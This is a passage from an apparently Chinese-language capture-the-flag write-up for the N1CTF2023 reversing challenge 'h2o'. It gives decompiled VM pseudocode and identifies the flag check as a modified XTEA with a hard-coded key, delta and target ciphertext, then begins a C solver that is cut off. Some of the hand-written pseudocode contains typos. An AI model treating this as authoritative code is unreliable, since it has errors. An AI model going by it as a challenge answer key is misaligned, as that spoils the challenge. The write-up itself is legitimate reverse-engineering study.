                r14 = [r14];
                r13 += r14;

                push r13;
                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;
                push r11;
                push r12;

                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;
                push r11;
                push r12;
                push 6;
                push [sp + 27]; // push [sp + 1]
                push 72322; // ret_addr

                sub_66646();

                sp += 2;
                pop r12;
                pop r11;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;

                push r3;

                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;
                push r11;
                push r12;
                push 9;
                push [sp + 28]; // [sp + 1]
                push 73159; // ret_addr

                sub_64749();

                pop r12;
                pop r11;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;

                push r3;

                push 73531; // ret_addr

                sub_14954();

                sp += 2;
                pop r12;
                pop r11;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;

                r13 = r3;
                r14 = [sp + 10]; // [sp + ???]
                r13 += r14;

                push r13;

                push 73940; ret_addr;

                sub_14954();

                sp += 2;
                pop r12;
                pop r11;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;

                r13 = r3;
                r12 += r13;
                [r11] = r12;

                r12 = sp + 0;

                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;
                push r12;
                push 0x100000000;
                push [sp + 8]; // [sp + 2]
                push 74752; // ret_addr

                sub_61755();

                sp += 2;
                pop r12;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;

                r11 = r3;
                [r12] = r11;

                r11 = sp + 2;
                r12 = [sp + 2];
                r13 = [sp + 3];
                r12 += r13;
                [r11] = r12;

                r12 = sp + 2;
                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;
                push r12;
                push 0x100000000;
                push [sp + 10]; // [sp + 2]
                push 75641; // ret_addr

                sub_61755();

                sp += 2;
                pop r12;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;
                r11 = r3;
                [r12] = r11;

                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;

                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;
                push 10;
                push [sp + 13]; // [sp + 0]
                push 76612; // ret_addr

                sub_66646();

                sp += 2;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;

                push r3;

                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;
                push 2;
                push [sp + 14]; // [sp + 0]
                push 77301; // ret_addr

                sub_64749();

                sp += 2;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;

                push r3;

                push 77611; // ret_addr

                sub_14954();

                sp += 2;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;

                r11 = r3;
                r12 = [sp + 0];
                r11 += r12;
                [sp + 5] = r11;
                r11 = [sp + 2];
                r12 = key;
                
                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;
                push r11;
                push r12;
                push 4;
                
                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;
                push r11;
                push r12;
                push 11;
                push [sp + 20]; // [sp + ???]
                push 78870; // ret_addr

                sub_66646();

                sp += 2;
                pop r12;
                pop r11;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;

                push r3;

                push 79242; // ret_addr

                sub_61755();

                sp += 2;
                pop r12;
                pop r11;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;

                r13 = r3;
                r14 = [r12];
                r13 += 1;
                r12 += r13;
                r12 = [r12];
                r11 += r12;
                [sp + 6] = r11;

                r11 = sp + 1;
                r12 = [sp + 1];

                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;
                push r11;
                push r12;
                push [sp + 14]; // [sp + 6];
                push [sp + 14]; // [sp + 5];
                push 80483; // ret_addr

                sub_14954();

                sp += 2;
                pop r12;
                pop r11;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;

                r14 = r3;
                r12 += r14;
                [r11] = r12;

                r12 = sp + 1;
                push r4;
                push r6;
                push r8;
                push r9;
                push r5;
                push r7;
                push r12;
                push 0x100000000;
                push [sp + 9]; // [sp + 1]
                push 81295; // ret_addr

                sub_61755();

                sp += 2;
                pop r12;
                pop r7;
                pop r5;
                pop r9;
                pop r8;
                pop r6;
                pop r4;
                r11 = r3;
                [r12] = r11;
                r11 = sp + 4;
                r12 = [sp + 4];
                r14 = 1;
                r12 += r14;
                [r11] = r12;
        }
        r12 = data;
        r11 = 0;
        r11 += 1;
        r12 += r11;
        r14 = [sp + 0];
        [r12] = r14;

        r14 = data;
        r12 = 1;
        r12 += 1;
        r14 += r12;
        r11 = [sp + 1];
        [r14] = r11;
        return;
}

void sub_82860() { // 82860-
        
}

// void read_array(array& arr);
void sub_90745() { // 90745-93009
        mem[mem[34] - 1] = mem[35]; // push bp
        mem[34] -= 1;
        mem[35] = mem[34]; // mov bp, sp
        mem[34] -= 2; // sub sp, 2
        mem[mem[34] + 0] = 0;

        while (1) {
                mem[11] = mem[mem[34] + 0];

                mem[mem[34] - 1] = mem[4]; // push r4
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[6]; // push r6
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[8]; // push r8
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[9]; // push r9
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[5]; // push r5
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[7]; // push r7
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[11]; // push r11
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[mem[35] + 2]; // push ??
                mem[34] -= 1;
                mem[mem[34] - 1] = 91310; // push ret_addr
                mem[34] -= 1;

                sub_2376();

                mem[34] += 1; // add sp, 1
                mem[11] = mem[mem[34] + 0]; // pop r11
                mem[34] += 1;
                mem[7] = mem[mem[34] + 0]; // pop r7
                mem[34] += 1;
                mem[5] = mem[mem[34] + 0]; // pop r5
                mem[34] += 1;
                mem[9] = mem[mem[34] + 0]; // pop r9
                mem[34] += 1;
                mem[8] = mem[mem[34] + 0]; // pop r8
                mem[34] += 1;
                mem[6] = mem[mem[34] + 0]; // pop r6
                mem[34] += 1;
                mem[4] = mem[mem[34] + 0]; // pop r4
                mem[34] += 1;

                if (mem[11] > mem[3]) break;

                mem[mem[34] - 1] = mem[4]; // push r4
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[6]; // push r6
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[8]; // push r8
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[9]; // push r9
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[5]; // push r5
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[7]; // push r7
                mem[34] -= 1;

                mem[mem[34] - 1] = 91934; // push ret_addr
                mem[34] -= 1;

                sub_2281();

                mem[34] += 0; // add sp, 0
                mem[7] = mem[mem[34] + 0]; // pop r7
                mem[34] += 1;
                mem[5] = mem[mem[34] + 0]; // pop r5
                mem[34] += 1;
                mem[9] = mem[mem[34] + 0]; // pop r9
                mem[34] += 1;
                mem[8] = mem[mem[34] + 0]; // pop r8
                mem[34] += 1;
                mem[6] = mem[mem[34] + 0]; // pop r6
                mem[34] += 1;
                mem[4] = mem[mem[34] + 0]; // pop r4
                mem[34] += 1;

                mem[mem[34] + 1] = mem[3];
                mem[11] = mem[mem[34] + 1];
                if (mem[11] == 10) break;
                mem[11] = mem[mem[35] + 2];
                mem[14] = mem[mem[34] + 0];
                mem[12] = mem[mem[11]];
                if (mem[12] < 0) { /* unexpected */ }
                if (mem[14] < 0) { /* unexpected */ }
                if (mem[14] >= mem[12]) { /* unexpected */ }
                mem[mem[11] + mem[14] + 1] = mem[mem[34] + 1];
                mem[mem[34] + 0] = mem[mem[34] + 0] + 1;
        }
        mem[mem[34] + 0] = -1;
        mem[mem[34] + 1] = -1;
        mem[34] = mem[35]; // mov sp, bp
        mem[35] = mem[mem[34] + 0]; // pop bp
        mem[34] += 1;
        return ;
}

void sub_93009() { // 93009-104594
        mem[mem[34] - 1] = mem[35]; // push bp
        mem[34] -= 1;
        mem[35] = mem[34]; // mov bp, sp
        mem[34] -= 33; // sub sp, 33
        mem[mem[34] + 0] = mem[34] + 1;

        mem[mem[34] + 1] = 8;
        for (int i = 0; i < 8; i++)
                mem[mem[34] + 2 + i] = 0;

        mem[mem[34] - 1] = mem[4]; // push r4
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[6]; // push r6
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[8]; // push r8
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[9]; // push r9
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[5]; // push r5
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[7]; // push r7
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[mem[34] + 6]; // push &arr
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[mem[35] + 2]; // push &arr
        mem[34] -= 1;
        mem[mem[34] - 1] = 94006; // push ret_addr
        mem[34] -= 1;

        sub_82860();

        mem[34] += 2; // add sp, 2
        mem[7] = mem[mem[34] + 0]; // pop r7
        mem[34] += 1;
        mem[5] = mem[mem[34] + 0]; // pop r5
        mem[34] += 1;
        mem[9] = mem[mem[34] + 0]; // pop r9
        mem[34] += 1;
        mem[8] = mem[mem[34] + 0]; // pop r8
        mem[34] += 1;
        mem[6] = mem[mem[34] + 0]; // pop r6
        mem[34] += 1;
        mem[4] = mem[mem[34] + 0]; // pop r4
        mem[34] += 1;

        mem[mem[34] + 10] = mem[34] + 11;
        mem[mem[34] + 11] = 4;
        mem[mem[34] + 12] = 0x636f3268;
        mem[mem[34] + 13] = 0x636f3268;
        mem[mem[34] + 14] = 0x636f3268;
        mem[mem[34] + 15] = 0x636f3268;

        mem[mem[34] + 16] = mem[34] + 17;
        mem[mem[34] + 17] = 8;
        mem[mem[34] + 18] = 0x75ff64c2;
        mem[mem[34] + 19] = 0x357e9a47;
        mem[mem[34] + 20] = 0x418d87a7;
        mem[mem[34] + 21] = 0x4d8e0a6d;
        mem[mem[34] + 22] = 0x697bb443;
        mem[mem[34] + 23] = 0x39398747;
        mem[mem[34] + 24] = 0x3deba139;
        mem[mem[34] + 25] = 0xc34f49bb;

        mem[mem[34] + 26] = 0;

        while (1) {
                mem[11] = mem[mem[34] + 26];
                mem[mem[34] - 1] = mem[4]; // push r4
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[6]; // push r6
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[8]; // push r8
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[9]; // push r9
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[5]; // push r5
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[7]; // push r7
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[11]; // push r11
                mem[34] -= 1;
                mem[mem[34] - 1] = 2; // push 2
                mem[34] -= 1;
                mem[mem[34] - 1] = 8; // push 8
                mem[34] -= 1;
                mem[mem[34] - 1] = 95507; // push ret_addr
                mem[34] -= 1;

                sub_59302();

                mem[34] += 2; // add sp, 2
                mem[11] = mem[mem[34] + 0]; // pop r11
                mem[34] += 1;
                mem[7] = mem[mem[34] + 0]; // pop r7
                mem[34] += 1;
                mem[5] = mem[mem[34] + 0]; // pop r5
                mem[34] += 1;
                mem[9] = mem[mem[34] + 0]; // pop r9
                mem[34] += 1;
                mem[8] = mem[mem[34] + 0]; // pop r8
                mem[34] += 1;
                mem[6] = mem[mem[34] + 0]; // pop r6
                mem[34] += 1;
                mem[4] = mem[mem[34] + 0]; // pop r4
                mem[34] += 1;

                mem[12] = mem[3];
                if (mem[11] == mem[12]) break;
                mem[mem[34] + 27] = mem[34] + 28;
                mem[mem[34] + 28] = 2;

                mem[11] = mem[mem[34] + 0];
                mem[mem[34] - 1] = mem[4]; // push r4
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[6]; // push r6
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[8]; // push r8
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[9]; // push r9
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[5]; // push r5
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[7]; // push r7
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[11]; // push r11
                mem[34] -= 1;
                mem[mem[34] - 1] = 2; // push 2
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[mem[34] + 34]; // push ?
                mem[34] -= 1;
                mem[mem[34] - 1] = 96426; // push ret_addr
                mem[34] -= 1;

                sub_27519();

                mem[34] += 2; // add sp, 2
                mem[11] = mem[mem[34] + 0]; // pop r11
                mem[34] += 1;
                mem[7] = mem[mem[34] + 0]; // pop r7
                mem[34] += 1;
                mem[5] = mem[mem[34] + 0]; // pop r5
                mem[34] += 1;
                mem[9] = mem[mem[34] + 0]; // pop r9
                mem[34] += 1;
                mem[8] = mem[mem[34] + 0]; // pop r8
                mem[34] += 1;
                mem[6] = mem[mem[34] + 0]; // pop r6
                mem[34] += 1;
                mem[4] = mem[mem[34] + 0]; // pop r4
                mem[34] += 1;

                mem[12] = mem[3];
                mem[14] = mem[mem[11]];
                if (mem[14] < 0) { /* unexpected */ }
                if (mem[12] < 0) { /* unexpected */ }
                if (mem[12] >= mem[14]) { /* unexpected */ }
                mem[12] += 1;
                mem[11] += mem[12];
                mem[11] = mem[mem[11]];
                mem[mem[34] + 29] = mem[11];

                mem[11] = mem[mem[34] + 0];
                mem[mem[34] - 1] = mem[4]; // push r4
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[6]; // push r6
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[8]; // push r8
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[9]; // push r9
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[5]; // push r5
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[7]; // push r7
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[11]; // push r11
                mem[34] -= 1;
                mem[mem[34] - 1] = 2; // push 2
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[mem[34] + 34]; // push ?
                mem[34] -= 1;
                mem[mem[34] - 1] = 97547; // push ret_addr
                mem[34] -= 1;

                sub_27519();

                mem[34] += 2; // add sp, 2
                mem[11] = mem[mem[34] + 0]; // pop r11
                mem[34] += 1;
                mem[7] = mem[mem[34] + 0]; // pop r7
                mem[34] += 1;
                mem[5] = mem[mem[34] + 0]; // pop r5
                mem[34] += 1;
                mem[9] = mem[mem[34] + 0]; // pop r9
                mem[34] += 1;
                mem[8] = mem[mem[34] + 0]; // pop r8
                mem[34] += 1;
                mem[6] = mem[mem[34] + 0]; // pop r6
                mem[34] += 1;
                mem[4] = mem[mem[34] + 0]; // pop r4
                mem[34] += 1;

                mem[14] = mem[3] + 1;
                mem[12] = mem[mem[11]];
                if (mem[14] < 0) { /* unexpected */ }
                if (mem[12] < 0) { /* unexpected */ }
                if (mem[12] <= mem[14]) { /* unexpected */ }
                mem[14] += 1;
                mem[11] += mem[14];
                mem[11] = mem[mem[11]];
                mem[mem[34] + 30] = mem[1]];

                mem[mem[34] - 1] = mem[4]; // push r4
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[6]; // push r6
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[8]; // push r8
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[9]; // push r9
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[5]; // push r5
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[7]; // push r7
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[mem[34] + 16]; // push ?
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[mem[34] + 34]; // push ?
                mem[34] -= 1;
                mem[mem[34] - 1] = 8; // push 8
                mem[34] -= 1;
                mem[mem[34] - 1] = 98684; // push ret_addr
                mem[34] -= 1;

                sub_68543();

                mem[34] += 3; // add sp, 3
                mem[7] = mem[mem[34] + 0]; // pop r7
                mem[34] += 1;
                mem[5] = mem[mem[34] + 0]; // pop r5
                mem[34] += 1;
                mem[9] = mem[mem[34] + 0]; // pop r9
                mem[34] += 1;
                mem[8] = mem[mem[34] + 0]; // pop r8
                mem[34] += 1;
                mem[6] = mem[mem[34] + 0]; // pop r6
                mem[34] += 1;
                mem[4] = mem[mem[34] + 0]; // pop r4
                mem[34] += 1;

                mem[11] = mem[mem[34] + 0];
                mem[mem[34] - 1] = mem[4]; // push r4
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[6]; // push r6
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[8]; // push r8
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[9]; // push r9
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[5]; // push r5
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[7]; // push r7
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[11]; // push r11
                mem[34] -= 1;
                mem[mem[34] - 1] = 2; // push 2
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[mem[34] + 34]; // push ?
                mem[34] -= 1;
                mem[mem[34] - 1] = 99389; // push ret_addr
                mem[34] -= 1;

                sub_27519();

                mem[34] += 2; // add sp, 2
                mem[11] = mem[mem[34] + 0]; // pop r11
                mem[34] += 1;
                mem[7] = mem[mem[34] + 0]; // pop r7
                mem[34] += 1;
                mem[5] = mem[mem[34] + 0]; // pop r5
                mem[34] += 1;
                mem[9] = mem[mem[34] + 0]; // pop r9
                mem[34] += 1;
                mem[8] = mem[mem[34] + 0]; // pop r8
                mem[34] += 1;
                mem[6] = mem[mem[34] + 0]; // pop r6
                mem[34] += 1;
                mem[4] = mem[mem[34] + 0]; // pop r4
                mem[34] += 1;

                mem[12] = mem[3];
                mem[14] = mem[mem[11]];
                if (mem[14] < 0) { /* unexpected */ }
                if (mem[12] < 0) { /* unexpected */ }
                if (mem[12] >= mem[14]) { /* unexpected */ }
                mem[12] += 1;
                mem[11] += mem[12];
                mem[14] = mem[mem[34] + 27];
                mem[12] = 0;
                mem[13] = mem[mem[14]];
                if (mem[13] < 0) { /* unexpected */ }
                if (mem[12] < 0) { /* unexpected */ }
                if (mem[12] >= mem[13]) { /* unexpected */ }
                mem[12] += 1;
                mem[14] += mem[12];
                mem[14] = mem[mem[14]];
                mem[mem[11]] = mem[14];

                mem[14] = mem[mem[34] + 0];
                mem[mem[34] - 1] = mem[4]; // push r4
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[6]; // push r6
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[8]; // push r8
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[9]; // push r9
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[5]; // push r5
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[7]; // push r7
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[14]; // push r14
                mem[34] -= 1;
                mem[mem[34] - 1] = 2; // push 2
                mem[34] -= 1;
                mem[mem[34] - 1] = mem[mem[34] + 34]; // push ?
                mem[34] -= 1;
                mem[mem[34] - 1] = 100850; // push ret_addr
                mem[34] -= 1;

                sub_27519();

                mem[34] += 2; // add sp, 2
                mem[14] = mem[mem[34] + 0]; // pop r14
                mem[34] += 1;
                mem[7] = mem[mem[34] + 0]; // pop r7
                mem[34] += 1;
                mem[5] = mem[mem[34] + 0]; // pop r5
                mem[34] += 1;
                mem[9] = mem[mem[34] + 0]; // pop r9
                mem[34] += 1;
                mem[8] = mem[mem[34] + 0]; // pop r8
                mem[34] += 1;
                mem[6] = mem[mem[34] + 0]; // pop r6
                mem[34] += 1;
                mem[4] = mem[mem[34] + 0]; // pop r4
                mem[34] += 1;

                mem[11] = mem[3] + 1;
                mem[13] = mem[mem[14]];
                if (mem[13] < 0) { /* unexpected */ }
                if (mem[11] < 0) { /* unexpected */ }
                if (mem[13] <= mem[11]) { /* unexpected */ }
                mem[11] += 1;
                mem[14] += mem[11];
                mem[13] = mem[mem[34] + 27];
                mem[11] = 1;
                mem[12] = mem[mem[13]];
                if (mem[12] < 0) { /* unexpected */ }
                if (mem[11] < 0) { /* unexpected */ }
                if (mem[12] <= mem[11]) { /* unexpected */ }
                mem[11] += 1;
                mem[13] += mem[11];
                mem[13] = mem[mem[13]];
                mem[mem[14]] = mem[13];

                mem[13] = mem[34] + 26;
                mem[14] = mem[mem[34] + 26];
                mem[14] += 1;
                mem[mem[13]] = mem[14];
        }
        mem[mem[34] + 31] = 1;
        mem[mem[34] + 32] = 0;
        while (mem[mem[34] + 32] < 8) {
                mem[14] = mem[mem[34] + 0];
                mem[13] = mem[mem[34] + 32];
                mem[12] = mem[mem[14]];
                if (mem[12] < 0) { /* unexpected */ }
                if (mem[13] < 0) { /* unexpected */ }
                if (mem[12] <= mem[13]) { /* unexpected */ }
                mem[14] = mem[mem[14] + mem[13] + 1];

                mem[12] = mem[mem[34] + 16];
                mem[13] = mem[mem[34] + 32];
                mem[11] = mem[mem[12]];
                if (mem[11] < 0) { /* unexpected */ }
                if (mem[13] < 0) { /* unexpected */ }
                if (mem[11] <= mem[13]) { /* unexpected */ }
                mem[12] = mem[mem[12] + mem[13] + 1];

                if (mem[12] != mem[14]) {
                        mem[mem[34] + 31] = 0;
                        break;
                }
                mem[mem[34] + 32] += 1;
        }
        return mem[mem[34] + 31];
}

void sub_104594() { // 104594-111071
        mem[mem[34] - 1] = mem[35]; // push bp
        mem[34] -= 1;
        mem[35] = mem[34]; // mov bp, sp
        mem[34] -= 35; // sub sp, 35
        mem[mem[34] + 0] = mem[34] + 1;
        mem[mem[34] + 1] = 32;
        for (int i = 0; i < 32; i++)
                mem[mem[34] + 2 + i] = 0;
        printf("******************************\n**   Welcome to N1CTF2023   **\n**       >>  h2o  <<        **\n**  a.k.a. Ancient Game V3  **\n******************************\nInput your flag: \n");

        mem[mem[34] - 1] = mem[4]; // push r4
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[6]; // push r6
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[8]; // push r8
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[9]; // push r9
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[5]; // push r5
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[7]; // push r7
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[mem[34] + 6]; // push &arr
        mem[34] -= 1;
        mem[mem[34] - 1] = 108378; // push ret_addr
        mem[34] -= 1;

        sub_90745();

        mem[34] += 1; // add sp, 1
        mem[7] = mem[mem[34] + 0]; // pop r7
        mem[34] += 1;
        mem[5] = mem[mem[34] + 0]; // pop r5
        mem[34] += 1;
        mem[9] = mem[mem[34] + 0]; // pop r9
        mem[34] += 1;
        mem[8] = mem[mem[34] + 0]; // pop r8
        mem[34] += 1;
        mem[6] = mem[mem[34] + 0]; // pop r6
        mem[34] += 1;
        mem[4] = mem[mem[34] + 0]; // pop r4
        mem[34] += 1;

        printf("Verifying...\n");

        mem[mem[34] - 1] = mem[4]; // push r4
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[6]; // push r6
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[8]; // push r8
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[9]; // push r9
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[5]; // push r5
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[7]; // push r7
        mem[34] -= 1;
        mem[mem[34] - 1] = mem[mem[34] + 6]; // push &arr
        mem[34] -= 1;
        mem[mem[34] - 1] = 109092; // push ret_addr
        mem[34] -= 1;

        sub_93009();

        mem[34] += 1; // add sp, 1
        mem[7] = mem[mem[34] + 0]; // pop r7
        mem[34] += 1;
        mem[5] = mem[mem[34] + 0]; // pop r5
        mem[34] += 1;
        mem[9] = mem[mem[34] + 0]; // pop r9
        mem[34] += 1;
        mem[8] = mem[mem[34] + 0]; // pop r8
        mem[34] += 1;
        mem[6] = mem[mem[34] + 0]; // pop r6
        mem[34] += 1;
        mem[4] = mem[mem[34] + 0]; // pop r4
        mem[34] += 1;

        mem[mem[34] + 34] = mem[3];
        mem[14] = mem[mem[34] + 34];
        if (mem[14] == 0) printf("Try again.\n");
        else { /* unknown success */ }

        return 0;
}

再化简,得到

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
void sub_43() { // entry
        // 43-69
        mem[34] = 211071;

        // 211071-211124
        mem[mem[34] - 1] = 211124;
        mem[34] -= 1;
        sub_104594();
        halt();
}


// size_t getchar();
void sub_2281() { // 2281-2330
        mem[3] = getchar();
        return ;
}

// size_t len(array &arr);
void sub_2376() { // 2376-2474
        mem[3] = mem[mem[34] + 1];
        mem[3] = mem[mem[3]];
        return;
}


// void func(size_t n, array& data, array& key);
void sub_68543() { // 68543-
        size_t v0 = data[0];
        size_t v1 = data[1];
        size_t s2 = 0;
        size_t d3 = 0x636f3268;
        size_t i4 = 0;

        while (i4 < n) {
                v0 = v0 + sub_14954(
                        sub_14954(sub_64749(v1, 9), push sub_66646(v1, 6)) + v1,
                        s2 + key[sub_61755(s2, 4)]
                );
                v0 = sub_61755(v0, 0x100000000);

                s2 = s2 + d3;
                s2 = sub_61755(s2, 0x100000000);

                size_t v5 = v0 + sub_14954(sub_64749(v0, 2), sub_66646(v0, 10));
                size_t v6 = s2 + key[sub_61755(sub_66646(s2, 11), 4)];
                v1 += sub_14954(v5, v6);
                v1 = sub_61755(v1, 0x100000000);

                i4 += 1;
        }
        data[0] = v0;
        data[1] = v1;
        return;
}

void sub_93009(size_t* input) { // 93009-104594
        size_t data0[8];
        memset(data0, 0, 8);
        sub_82860(input, data0);
        size_t data10[4] = {
                0x636f3268,
                0x636f3268,
                0x636f3268,
                0x636f3268
        };
        size_t data16[8] = {
                0x75ff64c2,
                0x357e9a47,
                0x418d87a7,
                0x4d8e0a6d,
                0x697bb443,
                0x39398747,
                0x3deba139,
                0xc34f49bb
        };

        size_t i_26 = 0;

        while (1) {
                if (i_26 == sub_59302(8, 2)) break;
                size_t data27[2];

                // if (data0.len < 0) { /* unexpected */ }
                // if (r12 < 0) { /* unexpected */ }
                // if (r12 >= data0.len) { /* unexpected */ }
                data27[0] = data0[sub_27519(i_26, 2)];

                // if (mem[14] < 0) { /* unexpected */ }
                // if (mem[12] < 0) { /* unexpected */ }
                // if (mem[12] <= mem[14]) { /* unexpected */ }
                data27[1] = data0[sub_27519(i_26, 2) + 1];

                sub_68543(8, data27, data10);

                // if (mem[14] < 0) { /* unexpected */ }
                // if (mem[12] < 0) { /* unexpected */ }
                // if (mem[12] >= mem[14]) { /* unexpected */ }
                // if (mem[13] < 0) { /* unexpected */ }
                // if (mem[12] < 0) { /* unexpected */ }
                // if (mem[12] >= mem[13]) { /* unexpected */ }
                data0[sub_27519(i_26, 2)] = data27[0];

                // if (mem[13] < 0) { /* unexpected */ }
                // if (mem[11] < 0) { /* unexpected */ }
                // if (mem[13] <= mem[11]) { /* unexpected */ }
                // if (mem[12] < 0) { /* unexpected */ }
                // if (mem[11] < 0) { /* unexpected */ }
                // if (mem[12] <= mem[11]) { /* unexpected */ }
                data0[sub_27519(i_26, 2) + 1] = data27[1];

                i_26 += 1;
        }
        size_t result_31 = 1;
        size_t i_32 = 0;
        while (i_32 < 8) {
                // if (mem[12] < 0) { /* unexpected */ }
                // if (mem[13] < 0) { /* unexpected */ }
                // if (mem[12] <= mem[13]) { /* unexpected */ }
                // if (mem[11] < 0) { /* unexpected */ }
                // if (mem[13] < 0) { /* unexpected */ }
                // if (mem[11] <= mem[13]) { /* unexpected */ }
                if (data0[i_32] != data16[i_32]) {
                        result_31 = 0;
                        break;
                }
                i_32 += 1;
        }
        return result_31;
}

void sub_104594() { // 104594-111071
        size_t data[32];
        size_t result;
        memset(data, 0, 32);
        printf("******************************\n**   Welcome to N1CTF2023   **\n**       >>  h2o  <<        **\n**  a.k.a. Ancient Game V3  **\n******************************\nInput your flag: \n");
        sub_90745(data);
        printf("Verifying...\n");
        result = sub_93009(data);
        if (result == 0) printf("Try again.\n");
        else { /* success? */ }

        return 0;
}

还有几个函数没逆了,但是看逻辑就能猜出来是什么运算,上面这些逻辑已经很清楚了,是个魔改的xtea。
求解:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

// xtea
void xtea_encrypt(unsigned int num_rounds, unsigned int* v, unsigned int* key) {
        unsigned int v0 = v[0], v1 = v[1], sum = 0, delta = 0x636f3268;
        for (int i = 0; i < num_rounds; i++) {
                v0 += (((v1 << 9) ^ (v1 >> 6)) + v1) ^ (sum + key[sum & 3]);
                sum += delta;
